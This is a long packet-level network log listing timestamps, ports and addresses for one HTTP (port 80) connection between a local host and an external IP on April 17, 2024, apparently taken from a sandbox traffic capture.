Apr 17, 2024 06:57:05.347944021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347944975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347961903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347969055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347980022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347996950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347999096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348014116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348022938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348033905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348050117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348053932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348068953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348077059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348086119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348114967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348134041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348134041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348150969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348167896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348186016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348186016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348202944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348208904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348222971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348229885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348241091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348252058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348258018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348268986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348284960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348304033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348633051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348651886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348668098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.348689079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348721027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.348721981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349076986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349093914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349108934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349131107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349133015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349150896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349150896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349176884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349176884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349185944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349195957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349204063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349231958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349251032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349287987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349304914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349322081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349337101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349339962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349355936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349358082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349381924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349383116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349400997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349458933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349474907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349489927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349505901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349507093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349524021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349530935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349530935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349540949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349550009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349569082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349580050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349587917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349596977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349612951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349626064 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349631071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349647045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349647045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349664927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349664927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349682093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349689007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349689007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349699974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349706888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349716902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349726915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349734068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349745989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349750996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349764109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349770069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349781990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349786997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349803925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349807978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349807978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349822044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349838972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349857092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349858046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349858046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349858046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349874973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349880934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349894047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349900961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349910975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349916935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349927902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349941015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349951982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349967957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349972010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349991083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.349994898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.349994898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350008965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350013018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350025892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350033045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350044966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350053072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350074053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350090981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350285053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350301981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350317955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350333929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350344896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350344896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350351095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350364923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350368977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350383997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350387096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350404024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350408077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350408077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350420952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350428104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350439072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350446939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350459099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350465059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350476027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350482941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350493908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350501060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350512028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350517035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350528002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350545883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350547075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350547075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350562096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350564957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350579023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350581884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350595951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350605011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350611925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350622892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350641012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350646019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350657940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350662947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350681067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350692987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350698948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350716114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350718975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350719929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350734949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350738049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350754023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350761890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350771904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350788116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350789070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350789070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350805044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350811005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350822926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350825071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350841045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350852013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350858927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350876093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350879908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350879908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350892067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350898981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350909948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350917101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350925922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350935936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350943089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350951910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350960970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350969076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350977898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.350986004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.350995064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351002932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351011992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351020098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351028919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351044893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351047993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351066113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351068974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351068974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351083994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351085901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351099968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351108074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351116896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351126909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351136923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351147890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351154089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351170063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351186037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351186037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351187944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351205111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351205111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351222038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351231098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351231098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351238966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351248980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351254940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351267099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351274014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351284027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351290941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351300001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351309061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351320028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351329088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351336002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351346016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351353884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351362944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351375103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351378918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351396084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351397038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351417065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351421118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351421118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351433992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351438999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351450920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351460934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351469040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351479053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351485968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351496935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351505041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351516008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351521969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351540089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351540089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351541042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351557970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351558924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351576090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351603985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351603985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351608038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351622105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351624966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351640940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351656914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351659060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351676941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351682901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351682901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351701975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351706028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351723909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351726055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351741076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351748943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351758003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351766109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351774931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351782084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351793051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351800919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351811886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351819992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351829052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351838112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351845980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351854086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351864100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351871014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351881027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351887941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351900101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351907015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351917028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351923943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351933002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351943970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351950884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351959944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351968050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351979017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.351986885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.351994991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352005005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.352013111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352024078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.352031946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352041006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.352047920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352057934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.352065086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352076054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.352087975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352093935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.352129936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352129936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.352153063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.548918009 CEST	80	49730	185.172.128.23	192.168.2.4
